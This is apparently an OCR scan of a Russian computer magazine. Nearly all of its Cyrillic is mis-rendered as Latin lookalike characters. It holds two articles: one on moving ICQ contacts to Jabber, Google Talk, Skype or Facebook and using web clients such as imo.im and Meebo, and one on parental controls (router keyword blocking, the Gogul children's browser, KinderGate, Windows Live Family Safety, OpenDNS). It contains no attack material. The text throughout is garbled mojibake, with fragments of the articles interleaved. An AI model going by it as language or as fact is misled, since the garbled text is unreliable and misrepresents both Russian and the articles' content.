JRU-PHP0j 6J, e 2005-7 by Wes Goergen, floMaujHBB ctp annua, BunycK seres ns yono 


MaccoBoe peflaKTupoBaHiie KOHTaKT-ni/icia Jabber npon3BOAMTCfl 
c noMoiAbK) cnepMa/ibHoro OHnatiHOBoro i/iHCTpyMeHTa 


-> C /I O www.jabber.ru a baddons/qip 


Transport name icq com 
Contact Hst in *.clb format 


General; 1694 
General; 1922 
General; 2397 
General; 2477 
General; 2514 
General;2834 
General; 3275 
General; 3384 
General; 3620 
General; 3943 
General; 4349 
General; 4662 
General; 4694 
General; 4936 


Convert it ! 


OHjiauH-cepBi/ic 
Jabber TaK Bbi- 
HlflAMT CTaHAapT- 
Hoe npeAdaB- 
JieHMe KOHTaKT- 
ni/iCTa ICQ 
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KOHTaKTbl ICQ MO>KHO MHTerpMpOBaTb 
b Google Talk 


3Toro npOTOKOJia Ha ycjiOBHHx miaT- 
hoh noanncKH. Ho npn 3 tom ctoht 

yHHTLIBaTL pHA 06CT0HTeJIbCTB. fleJIO B 
tom, hto KOMMepnecKHH mo6hjibhbih 
KJ iHeHT jsjm ICQ h HecKOJiBKHx aHajio- 
rHHHbix cepBHCOB yxce cymecTByeT — 
3 to nporpaMMa IM+, co3AaTejiH koto- 
poft AaBHO pa6oTaiOT no onncaHHOH 
CXeMe. AjIBTepHaTHBHBIM CepBHCOM, He- 
0(J)HD3iajiBH0 noAaepxcH Barc> mu m ICQ, 
HBjineTCii Mail.ru Agent — nporpaMMa n 
OAHOHMeHHBIH IM-CepBHC OT HblHeiU- 
hhx BjiaAejibneB npOTOKOJia. Oh Tpe6y- 
eT ycTaHOBKH 4>npMeHHoro npHjioxce- 
hhh AJin pa6oTbi c ICQ, a jsjm odmeHHH 
no npOTOKOJiy MRA Me>i<Ay nojib30Ba- 
TeJIHMH CaMOH cem 3TO HeoGimTejibHo. 
Tenepb Mail.ru Group BjiaAeeT AByMH 
cxoxhmh cepBHcaMH, h moxho npeA- 
nOJTOXCUTb, HTO paHO HJIH n03AH0 nOA" 

AepxcKa ICQ CTaHeT ocjnmHajibHOH, a 
ero KJineHT 6yAeT KaKHM-TO o6pa30M 
o6beAHHeH c Mail.ru Agent. 

0TKa3 OT npMBbIHHOrO 

flpyron bhxoa H3 cjioxHBmencH cn- 

TyaAHH — 3TO OTKU3 OT HCn0JIb30Ba- 
hhh cepBHca ICQ n Bbi6op Apyroro 
npOAyKTa rjw OHjiaHH-odmeHHH. Oh 



Imo.im — MyjibTunpoTOKOJibHbm K/inem, 
pa6oTafou^MM b 6pay3epe 


ocjioxHneTcn Heo6xoAHMOCTbio ono- 
BeCTHTb BCe CBOH CTapbie KOHTaKTbl 

o CMeHe cpeACTBa KOMMyHHKaitHH, a 
TaiQKe HaftTH b hobom cepBHce Tex, 
kto TaiQKe nepemeji Ha Hero c ICQ. 
Ectb HecKOJibKO BapnaHTOB peajiH- 
3au;HH Taxoro peineHHH. 

Ha npOTiDKeHHH Bcero BpeMeHH 
CBoero cynjecTBOBaHHH ICQ He 6bui 
nOJIHOCTbK) H30JIHp0BaHHbIM npOTO- 
KOJIOM, HTO MOTJIO 6bl npHBeCTH K 
CHTyau;HH, KorAa nojib30BaTejin oxa- 
3aJIHCb 6bl npHBH3aHbI TOJIbKO K AaH- 
HOH TeXHOJIOTHH. Bo BTOpOH nOJIO- 
BHHe 2000-x, KorAa oh npHHaAJiexaji 
AOL, Ha 6a3e cepBHca ICQ 6bi- 
jia opraHH30BaHa cjieAepaitHH (hh- 
Terpau;Hn TpaHcnopTa no o6MeHy 
AaHHbIMH, B TOM HHCJie H KOHTaKTa- 
mh) MeacAy HecKOJibKHMH KpynHbi- 
mh IM-cjiy3c6aMH. 

H3 HaH6ojiee 6 jih3khx pocchhcko- 
My nojib30BaTejiio BapnaHTOB mox- 
ho OTMeTHTb HHTerpaitHio AIM/ICQ 
c Google — noAAepaaty uaTa b non- 
Te Gmail (peub hact He o cjihhhhh 
AIM/ICQ c Google Talk). nojib30Ba- 
Tejib MoaceT Ao6aBHTb b naT cboh koh- 



PacuiMpeHHbm MeHejpKep Facebook no3BO/iaeT 
H M nopTl/1 pOBaTb KOHTaKTbl M3 MHO>KeCTBa cepBM- 
COB, MeCCeHfl^epOB M nOHTOBbIX KJIMeHTOB 


TaKTbi H3 ICQ, bohah nepe3 HHTep(jDeHC 
Gmail b AIM. Cennac 3Ta ycjiyra 
(jryHKAHOHHpyeT b 3KcnepHMeHTajib- 
hom pexcHMe h oueHb HecTa6HjibHO 
noAAepacHBaeT koahpobkh, OTjiHHHbie 
ot Unicode, b coodmeHHHx. 

KpOMe toto, b ICQ moxho odmaTb- 
cn nepe3 ero Jabber-TpaHcnopT Google. 
JXjw 3toto TpebyeTCH ycTaHOBKa jho- 
6oro KjineHTa jijm Jabber (HanpHMep, 
Pidgin, PSI hjih QIP Infium), b Ha- 
CTpOHKax KOTOporo yKa3biBaeTC5i nojib- 
30BaTejibCKHH aKKayHT Google (BMec- 
Te c cepBepOM Google Talk — http:// 
talk.google.com — Ha nopTy 5222). 
3aTeM noAKjHonaeTcn cepBnc TpaHC- 
nopTa b ICQ, h nocjie BBOAa AaHHbix 
AJin aBT0pH3aitHH 3arpy>xaeTCH cnn- 
COK KOHTaKTOB, AJM KOTOpbIX Hy3C- 

ho OAodpHTb noAKjHoneHHe k Google 
Talk (BpynHyio ajih KaatAOH 3anHCH). 
B HTOre KOHTaKT-JIHCT H3 ICQ nOHB- 
jineTCii b uaTe Gmail h AOCTyneH c 
jiioGoto KOMnbiOTepa. 

Ha nyTM k Skype 

flpyroH BapnaHT 0TKa3a ot ICQ — 
nepexoA Ha nonyjinpHbiH cepBnc 
Skype, KOTOpbin HeAaBHO 3a(jmKCHpo- 
Baji pexopA OAHOBpeMeHHoro Haxoac- 
AChhh nojib30BaTejieH OHjianH — 6ojiee 
25 mjih nejiOBeK (b Apyrne ahh — 
22—24 mjih). CorjiacHO codcTBeHHon 
CTaTHCTHKe Skype, name Bcero b HeM 
Hcnojib3yeTCn bo3mojkhoctb deciuiaT- 

HblX TOJIOCOBblX BBI30B0B Me^KAy KOM- 
nbiOTepaMH h naT c HHTerpHpOBaH- 
hoh TexHOJiomeH nepeAauH cjiaHJiOB. 
nonyjuipHOCTb Skype CBH3aHa c TeM, 
hto ero pa3pa6oTHHKH co3Aajin ycToii- 
HHByiO H HenpHXOTJIHByiO TeXHOJIOTHIO 
cbh3h. OHa odecneHHBaeT mn(J)po- 
BaHne nepeAaBaeMon HHcjiopMaitHH, 
noAKjnoHeHHe b jnodbix ceTeBbix koh- 
(jmrypaitHHx, a b nocjieAHnx Bepcmix 
KjiHeHTCKoro npiuioaceHHH — cjiyHK- 
ItHOHaJIbHOCTb, COnOCTaBHMyiO C B03- 
MOJKHOCTHMH OCjDHAHaJIbHOTO KJIHeHTa 
ICQ (AOnOJIHeHHH, HHTepaKTHBHbie 
HTpbl, CHCTeMa HaCTpOHKH KOH(J)HAeH- 
AnajibHOCTH, ynpaBjieHHe KOHTaKT- 
JIHCTOM, HHTerpaitHH C COItHaJIbHbIMH 

ceTHMH Facebook h MySpace). 
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meeb 



Meebo noflflepwMBaeT MaKci/iManbHoe hi/icjio IM-ceiew cpeflM Bcex ocia/ibHbix MecceHAwepoB 


fljiH Toro hto6bi nepeHTH Ha Skype, 
npnaeTcn npoaejiaTb aocraTOHHO Tpy- 

AoeMKyio npoaeaypy KonnpOBaHHH 
KOHTaKTHOH HHcbopMaijHH H3 aapec- 
hoh KHHra ICQ. Bo-nepBbix, ee npn- 
Moro HMnopTa He npeaycMOTpeHO — 
noaodHan bo3mojkhoctb npeaocTaBjra- 
eTCH nojiB30BaTejiHM HeKOTOpbix apyrwx 
cjiyxf) (HanpHMep, Yahoo! Messenger h 
Windows Live), ho He AOL/AIM/ICQ. 

B0-BT0pbIX, npH OKCnOpTe KOHTaKT- 
jiHCTa Moryr B03HHKHyrb npodjieMbi c 
KOflHpOBKOH b cjiynae c KHpHuiHnec- 
KHMH HMeHaMH. 

Mbi npoaHajiH3HpoBajiH HecKOJibKO 
cueHapHeB nepeHoca KOHTaKTHbix aan- 
hhx h ocTaHOBHjincb Ha HaHMeHee 
cjiOvKhom. BaM noTpedyeTCH npHJiojKe- 
HHe QIP Contacts Manager (www.qip. 
ru/ru/pages/cm_ru), c noMombio ko- 
Toporo MOvKHO noAKJiHDHHTbcn k yneT- 
hoh 3anncH Ha cepBepe www.icq.com 
h HMnopTHpOBaTb oiryaa AaHHbie b 
(J) opMaTe CLB. Ilocjie 3 toto mbi npea- 
jiaraeM nepeHecTH KOHTaKTbi Ha Jabber- 
aKKayHT — HanpHMep, 3aperacTpn- 
pOBaHHbin Ha Jabber. Ru. jih 3toto 
H aao OTKpbiTb CLB-cbanji c pe3epBH0H 
Konneii KOHTaKTOB b tckctobom pe- 
aaKTOpe h CKonHpoBaTb ero coaepJKH- 
Moe b (J)opMy Ha cjiyxedHOH CTpaHH- 
ue cepBHca (www.jabber.ru/jabaddons/ 
qip2jabber). OopMaT npeacTaBjieHHH 
AaHHbix 6yneT H3MeHeH. BBeanre hx 
b TaxoM BHae b pocTep Jabber — oh- 

JiaHHOBblH CnHCOK KOHTaKTOB (www. 

jabber.ru/jabaddons/jru/jru.php) . Oh 

MOxeT 6biTb 3arpyxeH arm jho6oto 
cepBHca, noaaepJKHBaioiaero Jabber (b 
H ameM cjiynae 3 to Google Talk). Ta- 
khm o6pa30M, nocjie BBoaa yneTHOH 
3anHCH nojib30BaTejib aBTOMaTHnecKH 
3anojiHneT pocTep (aapecHyio KHHry) 
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HOBbIMH AaHHbIMH, a 3aTeM BHflHT, 
HTO BCe KOHTaKTbi nOHBHJIHCb B CnHC- 
Ke Gmail. Ha otom OTane HacTynaeT 
BpeMB BKJHOHHTb Skype H B0Cn0JIb30- 
BaTbCH (JiyHKHHeH HMnopTa H3 MeHK) 
«KoHTaKTbi», BBeaa jiothh h napojib 
yneTHOH 3anHCH Google. 

Enje oahh Be6-cepBHC, kotopbih mo- 
xeT b djimKanmeM dyaymeM noTecHHTb 

ICQ h apyrne noaodHbie MecceHaxe- 
pbi, — 3to CHCTeMa Facebook Mes- 
sages, BCTpoeHHan b coiiHajibHyio ceTb 
Facebook (500 mjih nojn>30BaTejieH). 
3aecb npoueaypa nepeHoca KOHTaKTOB 
aHajiomHHa onncaHHOH Bbime 3a TeM 
HCKjnoneHHeM, hto CHanajia ohh 3kc- 
nopTHpyiOTCH b CSV-^aibi, coaep- 
acaHHe KOTOporo 3aTeM KonnpyeTcn b 
(J) opMy Ha canre cepBHca. 

KoHKypeHT ICQ? 

CepBMC QIP M OflHOMMeHHblM K/lMeHT 
npMHafl/ie>KaT KOMnaHMM «MeAnaMnp», 
KOTopaa bxoamt b MeAMaxojiAMHr 
«PBK» m aBaaema npaMbrn KOHKypeH- 
tom MaiL.ru Group. KoMnaHua n/iaHM- 
pyeT co3AaTb Ha 6a3e btoto MecceHA- 
>Kepa aHaaor Skype: y>Ke ceunac oh 
no3BoaaeT coBepmaTb 3bohkm nepe3 
VoIP-cepBMC Sipnet, n/iaHnpyeTca 
BBeCTM M B03M0)KH0CTb npMHMM3Tb 
BxoAaiAMe Bbi30Bbi, to ecTb npmtpe- 
ruieHMe k aKKayHTaM pea/ibHbix Te/ie- 
CjD 0 H H bIX HOMepOB. C yHeTOM T3KMX 
nepcneKTMB ommoHeHMe npoTOKO/ia 
ICQ M 0 >KeT He Bbi3BaTb cepbe3Horo 
HeAOBoabCTBa. KpoMe toto, 3a cneT 
noAAep>KKM OTKpbuoro TpaHcnopia 
Jabber K/ineHT QIP Mcnoab3yeTca nnn 
o6iAeHMa bo mhotmx ApyrMx IM-c/iyw- 
6ax (HanpHMep, GoogLe Talk, LJ Talk 
m «H.0HaaMH»), a TaK>Ke npeA/iaraeT 
C 06 CTBeHHblM CepBep Ha OAHOMMeH- 
hom caine. 3to MemaeT ycraHOBMTb 
peaabHoe kojimhcctbo no/ib30BaTe/ieM 
AaHHoro npwio>KeHMa, 3anHTepeco- 
BaHHbix MMeHHo b pa6oTe c ICQ. 


OCTaTbCfl Q ICQ 

I/I npOflOJDKI/ITb n0Jlb30BaTbCfl 
CTO pOH HI/I Ml/I KJll/ieHTaMI/1 

PemeHne MOxeT h He 6bitb ctojib pa- 
aHKajibHbiM: Heo6n3aTejibHo HeMea- 

JieHHO OTKa3bIBaTbCH OT ICQ HJIH, 
HanpOTHB, coBepmeHHo 3aKpbiBaTb 
rjia3a Ha npoQjieMy. Moxho, HanpH- 
Mep, napajuiejibHO Hcnojib30BaTb yneT- 
Hbie 3anncH b pa3Hbix cepBncax, no- 
CTeneHHO nepeBoan ocHOBHyio nacTb 
CBoero Kpyra o6meHHH Ha oaHH H3 hhx, 
ho noaaepxcHBaa cbb3b h c tcmh, kto 
ocTaeTcn BepeH ICQ. 3toto He 
Hy*no 3anycKaTb oaHOBpeMeHHO nuTb- 
aecnTb nporpaMMHbix kthchtob hjih 
ycTaHaBjiHBaTb Ha nK MyjibTHnpoTO- 
KOJibHbie arperaTOpbi, TaKHe KaK Miran- 
da IM, Pigeon hjih Digsby. CymecTByeT 
KaK MHHHMyM aecnTb Be6-CepBHCOB, 
o6beaHHHK)LnHx hcckojibko IM-ceTen b 
oaHOM HHTepcbeHce. Handojiee yao6- 

HblMH H3 HHX HBJI5HOTCH ImO.im (WWW. 

imo.im) h Meebo (www.meebo.com). 

nepBbiH npeacTaBjweT co6oh arpera- 
Top mecTH ochobhbix MecceHa^KepOB H 
cjiyjKd coanajibHbix ceTen: ICQ, Skype, 
Google Talk, Facebook, MySpace h 
Y ahoo! Messenger. Oh no3BOJineT aBTO- 
pH30BbiBaTbcn b nepenncjieHHbix cep- 
BHcax nepe3 6pay3ep, npnneM 6e3 ao- 
nojiHHrejibHOH perHCTpaijHH. B Imo.im 
HMeiOTCH TeKCTOBblH HaT, CHCTeMa 
TOJIOCOBblX H BHae03B0HK0B, a TaiOKe 
ype3aHHan (jiyHKiiH n odMeHa 4>a h- 
jiaMH (tojibko OTnpaBKa). 

B Meebo noMHMO oaHOHMeHHoro 
(JiHpMeHHoro cepBHca mojkho noa- 
KJHOHHTbcn k Yahoo!, AIM, Google 
Talk, ICQ, MSN, Jabber h eiae npn- 
MepHO 40 cjiyjKdaM. Bo Bcex cjiynanx 
nojib30BaTejib nonaaaeT Ha OTaejib- 
Hyio CTpaHHijy, npeaocTaBjiiHOiayK) 
npaKTHnecKH Bee (jlyHKaHH, kotopbi- 
mh odjiaaaeT «jierKan» Bepcnn o<J)H- 
anajibHoro KjineHTa. Tax, b cjiynae 
c npOTOKOJiOM ICQ noaaepxcHBaiOT- 
cn OTnpaBKa (jianjiOB, ceTeBbie nrpbi, 
BHaeo- h ayanonaTbi, pacmnpeHHbie 
X-CTaTycbi, noncK no KOHTaKT-jiHCTy, 
aodaBjieHHe h yaajieHne nojib30Ba- 
Tejien h CTaHaapTHan a jih ICQ CHCTe- 
Ma onoBeiaeHHH. BHemHHH BHa TaK- 
jk e MOxeT noaBepraTbcn H3MeHeHH- 
m: aocTynHbi ckhhbi h pa3JiHHHbie 
BHabI CMaHJIHKOB. Hto6h 3TH HaCT- 

Pohkh coxpaHHjincb rjw nocjieayio- 
mero Hcnojib30BaHHn, b Meebo npn- 
aeTcn 3aperHCTpHpOBaTbcn. 

■■■ Muxatui fleMMflOB 
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ECJIM KOMnblOTep He Saii^mi^eH COOTBeTCTByiOIHI/IM 06pa30M, fleTM HaMflyT B03M0>KH0CTb 
.qodpaTbCH ,qo 3anpeTHoro KOHTeHTa. OflHaKO mo>kho npi/mowmb coBceM HeMHoro 
ycmiMM m orpaHMHmb m flocTyn b BMpTya/ibHbw Mi/ip. 


M HTepHeT aBjiaeTca KpynHen- 
HIHM 6aHKOM 3HaHHH, HO 

BMecTe c TeM coflepaorr h 
O rpOMHBIH o6BeM HH(J)OpMa- 
u;hh, He npeAHa3HaHeHHOH 
#jia rjia3 iohbix nojiB30BaTejieH. Yrpo- 
3y, H CXOAHHiy K) OT 6eCKOHTpOJIBHOrO 
nyTemecTBHH no npocTOpaM CeTH, 
cjioxcho nepeoijeHHTB, nooTOMy orpa- 
HHneHHe AOCTyna fleTen k Hexo- 


topbim pecypcaM cero^Ha aBjiaeTca 
o6a3aTejiBHBiM ycjiOBHeM hx npe6Bi- 
BaHHa b HHTepHeTe. Be^B acth HMe- 
K)T o6BIKHOBeHHe HHTepecoBaTBca 
He TOJIBKO HIKOJIBHBIMH (J)OpyMaMH, 
ho h 6ojiee «HHTepecHBiMH» Bema- 
mh, k kotopbim hx £0 nopBi #ony- 
cxaTB He cjieAyeT. 

Eme OAHa npo6jieMa, c kotopoh 
paHO hjih no3AHO CTajiKHBaiOTca Bee 


pOAHTeJIH, — TO, HTO pe6eH0K TOTOB 
npOBOAHTB no HecKOJiBKO nacoB, 06- 
maaCB C «3JieKTpOHHBIM ApyrOM». 
KoHenHO, no cpaBHeHHio c HHTep- 
HeTOM HTpBI MOXCHO Ha3BaTB MeHB- 

hihm 3jiom, o^HaKO 6y#eT jiyame, ec- 
jih pe6eH0K HcnojiB3yeT 3 to BpeMa 
fljia BBinoaHeHHa flOManiHHx 3a,aa- 
HHH. Il03T0My nOMHMO flocTyna K 
CeTH Heo6xOAHMO OTpaHHHHBaTB H 
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o6mee BpeMH, npoBOAHMoe 3a ITK, b 

TOM HHCJie 3a pa3H006pa3HBIMH KOM- 
m>K)TepHBIMH pa3BJieHeHH5IMH. 

Mbi no^CKaxeM, KaKHe HHCTpyMeHTBi 
Tpe6yK)TCH ju\n toto, hto6bi orpaAHTb 
pe6eHKa ot yrp03 BceMHpHOH nayra- 
hbi, h npe^JioxHM cnoco6bi orpaHnne- 
HHH pa60TbI 3a KOMIIblOTepOM. 

Ea30BbiM Kypc 

IlepBbie rnara no B03BeAeHHio npe- 
rpaA pe6eHKOM n «B3pocjibiM» 

KOHTeHTOM BecbMa npocTbi. BHe 3a- 
bhchmocth ot toto, KaKaH onepaijH- 
OHHan cncTeMa y Bac ycTaHOBjieHa, 
Heo6xOAHMO C03^aTb «fleTCKHH» aK- 
KayHT 6e3 npaB aAMHHHCTpaTOpa n 
HHCTajuinpoBaTb aHTHBHpyc. C^ejiaTb 
3 to HacTOJibKO jierKO, hto noApo6- 
ho onncbiBaTb bcio npoijeAypy He 
HMeeT CMbicjia. IIo5ichhm jihihb, Ka- 
KHM o6pa30M MOryT nOMOHb 3TH He- 
CJI03CHbie XOAbl. 


Co 3 AaMTe rjm pe - 1 
6 eHKa OTAe/ibHbm] 
aKKayHT b CMcreMe 


IlepBoe AeHCTBne He no3BOJiHT pe- 
6eHKy MeHHTb HaCTpOHKH CHCTeMbI, 
b tom nncjie ocymecTBjiHTb 3Kcne- 
pHMeHTbl C aHTHBHpyCOM, a BTOpOH 
He ,aacT npOHHKHyTb Ha ITK BpeAO- 
HOCHOMy no, b tom HHCJie pexjia- 
MHpyion^eMy nopHorpa^nnecKne pe- 
cypcbi. KpOMe toto, ctoht hmctb 
b BH^y, hto HexoTopbie nporpaM- 
MHbie peineHHB no 3amHTe peGemta 
ot onacHOCTen MHTepHeTa, o koto- 
pbix noH^eT penb HHxe, pa6oTaiOT 
TOJIbKO C OTAeJIbHbIMH n0JIb30Ba- 
TeJIbCKHMH aKKayHTaMH. 

<<}Kene3Ha{i» 6noKiipOBKa 

CymecTByeT OTHOCHTejibHO npoc- 
toh cnoco6 3a6jiOKHpOBaTb AOCTyn 
k canTaM c coMHHTejibHbiM coAep- 
3CHMBIM: HaAO B0Cn0JIb30BaTbCn B03- 
movKhocthmh poyTepa (ecjin Taxoe 
ycTponcTBO HMeeTcn b jiOKajibHon 
ceTn). Bo mhothx moacjhix npHcyr- 
CTByiOT npocTenmne cjiyHKHHH 6jio- 
KHpoBaHnn onpeaejTeHHbix HHTepHeT- 
y3JiOB. B HexoTopbix 3anpemaiOTCii 
KOHKpeTHbie URL-a^peca, a Apyrne 
no3BOJiiHOT ncnojib30BaTb Kjnone- 
Bbie cjiOBa. HanpnMep, BBe^n kjiio- 
neBoe cjiobo «sex», bbi CMOxeTe 3a- 


BbIBOA 

06e3onacnTb neiew ot coMHMTe/ibHo- 
ro KOHTeHTa b CeTM mo>kho pa3HbiMM 
cnoco6aMM. CaMbm npocroM — boc- 
n0/lb30BaTbC51 BCTpoeHHbIMM B03M0 >K- 
hoct 5 imm MapmpyTM3auMM. llpaBAa, 
A/i5i 3Toro noTpe6yeTC/i BpyiHyfo 3a- 
nO/lHMTb CnMCOK CaMTOB, KOTOpbie 
HaAO 3a6/ioKnpoBaTb. TaK>Ke mo>kho 
ycTaHOBMTb cneuna^bHbm 6pay3ep 
«l"ory/ib», c KOTopbiM pe6eH0 K cmo- 
>KeT ocyiuecTB^/iTb Be6-cepc|)MHr noA 
HaA3opoM poAMTe/ieM. MHoroc()yHK- 
AMOHa/ibHbie naneTbi, HanoAo6ne 
KIS 2011 hjih KinderGate Parent 
Control, 6o/iee yHMBepca/ibHbi, ho 
3a hmx npMAeTC/i n/iaTMTb. 



6jiOKHpoBaTb iiejibin pnA pecypcoB, 
b aApece kotopbix npncyTCTByeT oto 
coneTaHne 6yKB. 

Yao6ho h to, hto b MOAejinx c no- 
Ao6hoh 4>yHKn;HOHajibHOCTbK), kak 
npaBHjio, npncyTCTByeT njiaHHpOB- 
IAHK, KOTOpblH n03B0JIHeT OrpaHHHH- 
BaTb pa6oTy cjiHjibTpa no BpeMeHH n 
b onpeAejieHHbie ahh HeAejin. 

IlOAOGHblH MeTOA 3amHTbI 3(J)(J)eK- 
THBeH, OAHaKO y 6ojibmnHCTBa mo- 
Aejien poyTepOB MexaHH3M Ao6aB- 
jieHHH aApecoB 3anpemeHHbix can- 
TOB HJIH KJIIOneBblX cjiob peajiH30BaH 
He cjinniKOM yAanHo: eAHHOBpe- 


MeHHO M03CH0 BBeCTH BCeTO OAHH 
aApec hjih cjiobo. 

BnoKiipoBKa 6pay3epoM 

Eme oahh cnoco6 orpaHHHHTb pe- 
6eHKy AOCTyn k HexejiaTejibHOH hh- 
(J)opMan;HH — BOcnojib30BaTbCH Tax 
Ha3biBaeMbiM actckhm 6pay3epOM, 
HanpHMep pacninpeHneM ahh Mozilla 
Firefox c aobojibho CTpaHHbiM Ha3- 
BaHneM «roryjib» (www.gogul.tv). Bax- 

HblM (J)aKTOpOM HBJIHeTCH TO, HTO 
«roryjib» — 3 to npoeKT, opneHTHpo- 
BaHHblH Ha pOCCHHCKHX n0JIb30BaTe- 
jien. B OTjiHnne ot ajibTepHaTHB- 
hbix pemeHHH, b cjiynae c kotopbimh 
npHXOAHTCH CaMOCTOHTeJIbHO yica3bl- 
BaTb HeGjiaroHaAexHbie caHTbi h co- 
CTaBjiHTb cnncoK pa3pemeHHbix, 3Aecb 
nepeneHb nocjieAHHx yxe cymecTBy- 
eT. Oh BKjnonaeT pa3BjieKaTejibHbie, 
cnopTHBHbie h o6pa30BaTejibHbie pe- 
cypcbi. flaHHan noAGopna AOCTaTOHHO 
HHTepecHa: oto hmchho caHTbi a/ib 
A eTen, c hpkhmh KpaconHbiMH CTpaHH- 
IiaMH H COOTBeTCTByiOIAHM COAepacaHH- 
eM. IlepeA HanajiOM paGora Heo6xoAH- 
mo 3apemcTpHp0BaTbC5i Ha caHTe npo- 
eicra h co3AaTb pOAHTejibcxyio yneTiiyio 
3anncb. Ilocjie n OATBep>KAe h na pern- 

CTpaAHH MOvKHO 3aHHTbCH C03AaHHeM 
ACtckhx aKKayHTOB, yxa3aB ajib i<a>KAO- 
ro pa3pemeHHbie ahh h BpeMH pa6oTbi 
b CeTH. B pe3yjibTaTe nocjie 3anycKa 


«rorynb» no3BO- 
rmeT pe6em<y 3a- 
XOAMTb TOJIbKO Ha 
onpeAe/ieHHbie, 
no/ie3Hbie flnn ero 
pa3BMTI/IH caHTbi 



flim Ka^Kfloro 
pedeHKa mo>kho 
3aBedn OTAe/ibHbm 
aKKayHT m 3aAaTb 
Bpeivm pa3pemeHH0- 
ro Mcno/ib 30 BaHna 
I/I HTepHeTa 
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® KinderGate PoAHTenbCKnPi KoHTponb 


jgxj 


KinderGate rffl H # □ 

Parental Control CiaTMCTHKa flpaBMna HacipottKM 0 nporpaMMe 


Pi 3anpeT KaTeropnPi 
^ 3anpeT KomeMTa 
3anpeT aapeca 
Q PacnncaHMe pa6oTbi 

§9 PacwnpeHHbie npaewia 


p 1-1- ) BblCOKnJt ypoBCHb cfjH/ibTpaLtnn 

By/ieT sanpemeH AOCTyn k canTan cneAytouyix Kaieropwi: 
HapKOTMKM 
nopHorpa4)n« 

3HaKOMCTea 
nonoBoe BocnmaHne 
nepcoHanbHwe caviTbi m 6nom 
MynbTHMeAHa 
A3apTHbie nrpbi 
rinpuHroBwe ce™ 

MapnxyaHa 


ToTOBbie npaBMjia 
CpIlJIbTpaUIIH 

b KinderGate 
Parental Control 
no3BonniOT ao- 
BO/ibHO tm6ko 
H acTpai/iBaTb 
orpaHnneHnn 
Bed-cepcjDMHra 


6pay3epa OyneT npejuiaraTbCH Bbi6paTb 
o^Hy H3 yueTHbix 3anHcen. B jihhhom 
K a6nHeTe po^HTejiH MoryT flodaBjiHTb 
HOBbie pecypcbi b HMeionjHHCii xaTa- 
jior pa3pemeHHbix caiiTOB. TaM ace 
MOvKHO nojiy^HTb AOCTyn k CTaTHC- 
THKe nocemeHHbix pe6eHKOM Bed- 
CTpaHHIJ H HH(J)OpMaiJ:HH O BpeMe- 
HH, npOBe^CHHOM HM B CeTH. KpoMe 
Toro, c caHTa moxcho CKauaTb #onoji- 
HeHne Angry Duck. Oho no3BOjraeT 
no xejiaHHK) poflHTejieii djioKHpo- 
BaTb 3anycK Bcex 6pay3epOB, KpoMe 
«roryjib». Taioxe flaHHoe pacnmpe- 
Hue cnoco6HO orpaHHUHBaTb flocTyn 
k (JmHJiaM h nanxaM — BecbMa no- 
jie3Han bo3moxchoctb, ecjin pe6eHOK 
nojib3yeTCH TeM xe KOMnbiOTepOM, 
HTO H pOAHTeJIH. 

«P0flH0M» C0t|)T 

flojiroe BpeMH Bjia^ejibijaM onepa- 
n^HOHHbix CHCTeM ot Microsoft npH- 
xoahjiocb nojiaraTbcn Ha npo^yicTbi 
OT CTOpOHHHX pa3padOTHHKOB npOT- 
paMMHoro odecneueHHn. O^HaKO ot- 
HOCHTeJIbHO He^aBHO, C BbIXOflOM 
Windows 7, y hhx nouBHjiacb B03- 

DNS-xmpocTb 

DNS-cepBep c/iy>KMT CBoeo6pa3Hbm 
CB513yK)lAMM 3BeH0M MeiKAY n0/lb30Ba- 

TeneM, BBOA5U4MM aApec caMTa b aflpec- 
hom crpoKe 6pay3epa, m xoctmhtom, Ha 
kotopom HenocpeACTBeHHO pacnonara- 
eica pecypc. 06biHHo Mbi He 3aAyMbiBa- 
eMca o ero cymecTBOBaHMM, TaK KaK 
DNS-cepBep MHTepHeT-npoBaMAepa cfoy h k- 
UMOHMpyeT npaKTMHecKM 6ecnepe6oMHO 
m pj\s\ pa6oTbi c HM M KOMnbfOTep He Hy>K- 
AaeTC51 HM B K3KMX HadpOM K3X. 

CyiAecTByeT m pnA ctopohhmx DNS-cepBe- 
pOB, o6BaAaKDLAMX MAeHTMHHOM ((DyHKUMO- 
Ha/ibHOCTbK), ho npM 3 tom HepeAKO npe- 
AOCTa B/1H K) U^MX AOnOJlHMTeilbHbie B03M0)K- 
hoctm. B HaineM cnynae Ba>KHo to, hto 


moxchoctb Bocnojib30BaTbCH pycc- 

KOH3bIHHOH BepCHeH CHCTeMbI pO- 
AHTejibCKoro KOHTpojin «CeMeHHan 
6e3onacHOCTb Windows Live 201 1». 
U,eHHO to, hto padoTaTb c Hen mox- 
ho decnjiaTHO — eAHHCTBeHHbiM 
ycjiOBneM nBjineTcn Hajinnne ycTa- 
HOBjieHHon cncTeMbi Windows Live 
n axxayHTa b Hen. CxauaTb nporpaM- 
My moxcho co CTpaHHiibi www.xplore. 
live .com /windows - live - family- safety . 
B #aHHOM cjiynae odu3aTejibHO hmctb 
H ecKOJibKO pa3Hbix yneTHbix 3ann- 
cen, nocKOJibKy cncTeMa nojnioc- 
Tbio 6epeT no a cboh KOHTpojib yxa- 
3aHHbin aKKayHT. 

Ilocjie ycTaHOBKn Ha IlaHejiH yn- 
paBjieHHn nouBjineTcn HOBbin nyHKT, 
odpaTHBinncb k KOTOpOMy, Bbi cyMee- 
Te orpaHHHHTb padoTy c onpeflejieH- 
HbiMH yneTHbiMH 3annciiMH no Bpe- 
mchh (pacnncaHne moxcho cocTaB- 
jinTb Ha KaacabiH rqub hcacjih) h 
3anpeTHTb 3anycK Tex hjih hhbix npn- 
JIOXCeHHH H HTp. 

KoHTpojib 3a padoToii b Ccth ocy- 
mecTBjineTcn c noMontbio yxe yno- 
Mifflyroro cepBHca Windows Live. 3to 


HeKOTopbie M3 hmx npeA/iaraiOT, b Hacmo- 
ctm, yc^yry c|dm/i bipa um m caMTOB Ha ypoBHe 
DNS-cepBepa. flaHHyio B03M0>KH0CTb no3- 
BO/i5ieT peaBM30Baib cepBMc OpenDNS 
(www.opendns.com). OHa bxoamt b co- 
CTaB n^aTHoro naKeia, OAHaKO cnpaBeA/iM- 
BOCTM paAM Hy>KH0 OTMeTMTb, HTO CTOM- 
MOCTb noAnMCKM — Bcero $5 (150 py6/ieM) 
b toa, hto 3HaHMTe/ibH0 AeiueB/ie 6o/ib- 
lUMHCTBa nporpaMMHbix peuieHMM. 

B Hana/ie pa6oibi BaM Heo6xoAMMO yKa- 
3aTb aApec DNS-cepBepa b HacipoMKax 
ceTM. p,n ? i 3Toro K/iMKHMTe npaBOM 
KHonKOM MbiLUM no MKOHKe «CeieBbie 
